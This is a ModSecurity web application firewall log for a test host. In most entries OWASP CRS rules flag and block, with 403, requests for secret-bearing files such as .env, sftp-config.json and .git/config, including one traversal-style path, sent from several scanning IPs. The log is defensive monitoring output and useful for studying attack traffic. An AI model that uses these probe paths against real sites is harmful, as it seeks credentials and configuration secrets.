[Sun Apr 27 15:38:11.621145 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aA4zQ0SU-wZ08u20bDJNkwAAAAA"]
[Sun Apr 27 15:38:11.621368 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aA4zQ0SU-wZ08u20bDJNkwAAAAA"]
[Sun Apr 27 15:38:11.621531 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aA4zQ0SU-wZ08u20bDJNkwAAAAA"]
[Sun Apr 27 15:38:11.642104 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /settings/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/settings/.env"] [unique_id "aA4zQ0SU-wZ08u20bDJNlAAAAAA"]
[Sun Apr 27 15:38:11.642354 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/settings/.env"] [unique_id "aA4zQ0SU-wZ08u20bDJNlAAAAAA"]
[Sun Apr 27 15:38:11.642516 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/settings/.env"] [unique_id "aA4zQ0SU-wZ08u20bDJNlAAAAAA"]
[Sun May 04 02:20:17.689517 2025] [:error] [pid 2910435] [client 35.180.33.5:57487] [client 35.180.33.5] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /sftp-config.json found within REQUEST_FILENAME: /sftp-config.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aBaywdAfzZ3-x2YoQq4lsAAAAAM"]
[Sun May 04 02:20:17.693153 2025] [:error] [pid 2910435] [client 35.180.33.5:57487] [client 35.180.33.5] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aBaywdAfzZ3-x2YoQq4lsAAAAAM"]
[Sun May 04 02:20:17.693339 2025] [:error] [pid 2910435] [client 35.180.33.5:57487] [client 35.180.33.5] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aBaywdAfzZ3-x2YoQq4lsAAAAAM"]
[Mon May 05 08:57:13.601215 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aBhhSSQeTtcmhSmRZRkiPQAAAAw"]
[Mon May 05 08:57:13.603349 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aBhhSSQeTtcmhSmRZRkiPQAAAAw"]
[Mon May 05 08:57:13.603570 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aBhhSSQeTtcmhSmRZRkiPQAAAAw"]
[Mon May 05 08:57:13.632496 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aBhhSSQeTtcmhSmRZRkiPgAAAAw"]
[Mon May 05 08:57:13.632781 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aBhhSSQeTtcmhSmRZRkiPgAAAAw"]
[Mon May 05 08:57:13.632959 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aBhhSSQeTtcmhSmRZRkiPgAAAAw"]
[Mon May 05 08:57:13.661679 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aBhhSSQeTtcmhSmRZRkiPwAAAAw"]
[Mon May 05 08:57:13.661935 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aBhhSSQeTtcmhSmRZRkiPwAAAAw"]
[Mon May 05 08:57:13.662106 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aBhhSSQeTtcmhSmRZRkiPwAAAAw"]
[Mon May 05 08:57:13.690947 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aBhhSSQeTtcmhSmRZRkiQAAAAAw"]
[Mon May 05 08:57:13.691214 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aBhhSSQeTtcmhSmRZRkiQAAAAAw"]
[Mon May 05 08:57:13.691407 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aBhhSSQeTtcmhSmRZRkiQAAAAAw"]
[Mon May 05 08:57:13.720161 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /settings/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/settings/.env"] [unique_id "aBhhSSQeTtcmhSmRZRkiQQAAAAw"]
[Mon May 05 08:57:13.720389 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/settings/.env"] [unique_id "aBhhSSQeTtcmhSmRZRkiQQAAAAw"]
[Mon May 05 08:57:13.720566 2025] [:error] [pid 2933908] [client 154.83.103.201:48204] [client 154.83.103.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/settings/.env"] [unique_id "aBhhSSQeTtcmhSmRZRkiQQAAAAw"]
[Sat May 10 16:56:09.353988 2025] [:error] [pid 3059058] [client 179.43.188.122:59534] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static../.git/config"] [unique_id "aB9pCRje5q_az-JqhkCUzwAAAAM"]
[Sat May 10 16:56:09.358333 2025] [:error] [pid 3059058] [client 179.43.188.122:59534] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static../.git/config"] [unique_id "aB9pCRje5q_az-JqhkCUzwAAAAM"]
[Sat May 10 16:56:09.358525 2025] [:error] [pid 3059058] [client 179.43.188.122:59534] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static../.git/config"] [unique_id "aB9pCRje5q_az-JqhkCUzwAAAAM"]
[Sat May 10 16:56:09.353994 2025] [:error] [pid 3059027] [client 179.43.188.122:59660] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.git/config"] [unique_id "aB9pCXCEFZ22CWoLnbYVQwAAAAc"]
[Sat May 10 16:56:09.354903 2025] [:error] [pid 3059063] [client 179.43.188.122:59668] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /panel/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/panel/.git/config"] [unique_id "aB9pCV8Bv4Iz2i7jipDdrgAAAAs"]
[Sat May 10 16:56:09.358931 2025] [:error] [pid 3059027] [client 179.43.188.122:59660] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.git/config"] [unique_id "aB9pCXCEFZ22CWoLnbYVQwAAAAc"]
[Sat May 10 16:56:09.359085 2025] [:error] [pid 3059027] [client 179.43.188.122:59660] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.git/config"] [unique_id "aB9pCXCEFZ22CWoLnbYVQwAAAAc"]
[Sat May 10 16:56:09.359159 2025] [:error] [pid 3059063] [client 179.43.188.122:59668] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/panel/.git/config"] [unique_id "aB9pCV8Bv4Iz2i7jipDdrgAAAAs"]
[Sat May 10 16:56:09.359302 2025] [:error] [pid 3059063] [client 179.43.188.122:59668] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/panel/.git/config"] [unique_id "aB9pCV8Bv4Iz2i7jipDdrgAAAAs"]
[Sat May 10 16:56:09.355095 2025] [:error] [pid 3059024] [client 179.43.188.122:59644] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /staging/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.git/config"] [unique_id "aB9pCQh6b8dRWg3KKdxSSQAAAAQ"]
[Sat May 10 16:56:09.359651 2025] [:error] [pid 3059024] [client 179.43.188.122:59644] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.git/config"] [unique_id "aB9pCQh6b8dRWg3KKdxSSQAAAAQ"]
[Sat May 10 16:56:09.355745 2025] [:error] [pid 3059055] [client 179.43.188.122:59686] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.git/config"] [unique_id "aB9pCX0QE4ypGnyWNt4RaQAAAAA"]
[Sat May 10 16:56:09.359819 2025] [:error] [pid 3059024] [client 179.43.188.122:59644] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.git/config"] [unique_id "aB9pCQh6b8dRWg3KKdxSSQAAAAQ"]
[Sat May 10 16:56:09.359900 2025] [:error] [pid 3059055] [client 179.43.188.122:59686] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.git/config"] [unique_id "aB9pCX0QE4ypGnyWNt4RaQAAAAA"]
[Sat May 10 16:56:09.360051 2025] [:error] [pid 3059055] [client 179.43.188.122:59686] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.git/config"] [unique_id "aB9pCX0QE4ypGnyWNt4RaQAAAAA"]
[Sat May 10 16:56:09.355931 2025] [:error] [pid 3059057] [client 179.43.188.122:59628] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /dist/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dist/.git/config"] [unique_id "aB9pCSMUhQ8W_ipCq8iSSAAAAAI"]
